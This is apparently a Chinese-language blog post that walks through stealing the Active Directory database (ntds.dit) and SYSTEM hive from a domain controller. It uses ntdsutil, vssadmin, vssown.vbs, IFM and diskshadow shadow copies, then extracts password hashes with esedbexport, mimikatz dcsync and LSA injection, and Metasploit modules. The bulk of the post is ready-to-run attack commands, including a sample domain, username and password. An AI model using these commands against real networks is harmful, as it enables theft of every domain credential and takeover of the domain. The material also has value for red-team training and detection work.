域控制器安全

域控制器安全

使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit

ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit

通过ntdsutil.exe提取ntds.dit

ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。

该工具默认安装在域控上,使用以下命令创建一个快照,该快照包含 Windows 中的所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。

创建快照:

该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的影响

ntdsutil snapshot "activate instance ntds" create quit quit

注:要以域管理员用户登陆域控

挂载快照:

ntdsutil snapshot "mount {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit

复制ntds.dit:

copy C:\\$SNAP_202104180958_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

卸载并删除快照:

ntdsutil snapshot "unmount {b425cef1-c73c-4be5-ad86-522c27a18180}" "delete {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit

利用vssadmin提取ntds.dit

vssadmin 可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的 “diff 空间”)的大小等。

创建C盘的卷影拷贝:

vssadmin create shadow /for=c:

在创建的卷影拷贝中将ntds.dit复制出来:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\\ntds.dit

删除快照:

vssadmin delete shadows /for=c: /quiet

利用vssown.vbs脚本提取ntds.dit

vssown.vbs 脚本的功能和 vssadmin 类似,可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。

vssown.vbs 下载地址: https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

启动卷影拷贝服务:

cscript vssown.vbs /start

创建一个 C 盘的卷影拷贝:

cscript vssown.vbs /create c

列出当前卷影拷贝:

cscript vssown.vbs /list

复制 ntds.dit:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\windows\NTDS\ntds.dit C:\ntds.dit

删除卷影拷贝:

cscript vssown.vbs /delete {22B93FE6-D53A-4ECA-BD5A-7A2A68203EF8}

IFM

通过创建一个 IFM 的方式获取 ntds.dit

在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。

使用diskshadow导出ndts.dit

可以使用diskshadow.exe来执行命令。

例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件

echo exec c:\\windows\\system32\\calc.exe \> command.txt

type command.txt

使用diskshadow执行txt中的命令

diskshadow /s command.txt

diskshadow也可以用来导出ntds.dit,将如下命令写入一个文件中去执行

//设置卷影拷贝  
set context persistent nowriters

//添加卷

add volume c: alias someAlias

//创建快照

create

//分配虚拟磁盘盘符

expose %someAlias% z:

//将ntds.dit复制到C盘中

exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit

//删除所有快照

delete shadows all

//列出系统中的卷影拷贝

list shadows all

//退出

reset

exit

执行如下命令,注意这里需要进入C:\Windows\System32目录下执行,否则会报错

diskshadow /s C:\\command.txt

导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit中的信息

reg save hklm\\system c:\\windows\\temp\\system.hive

导出ntds.dit中的散列值

esedbexport

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig

此时表示安装成功

esedbexport -m tables ntds.dit

mimikatz

mimikatz 有个 dcsync 的功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件,不过需要管理员权限。

导出域内所有用户的用户名和哈希值
lsadump::dcsync /domain:teamssix.com /all /csv

导出域内指定用户的用户名和哈希值
lsadump::dcsync /domain:teamssix.com /user:administrator

也可以通过转储 lsass.exe 进行 dump 操作
privilege::debug
lsadump::lsa /inject

msf

msf 里的 psexec_ntdsgrab 可以获取目标的 ntds.dit 和 SYSTEM 并将其保存到 /root/.msf4/loot/ 目录下

use auxiliary/admin/smb/psexec_ntdsgrab
set rhosts 192.168.7.7
set smbdomain teamssix.com
set smbuser administrator
set smbpass 1qaz@WSX
run

除此之外,在获取到会话后,也可以直接用 MSF 提供的模块获取 ntds.dit

use windows/gather/credentials/domain_hashdump
set session 1
run
posted @ 2022-03-29 10:37  kar3a  阅读(253)  评论(0编辑  收藏  举报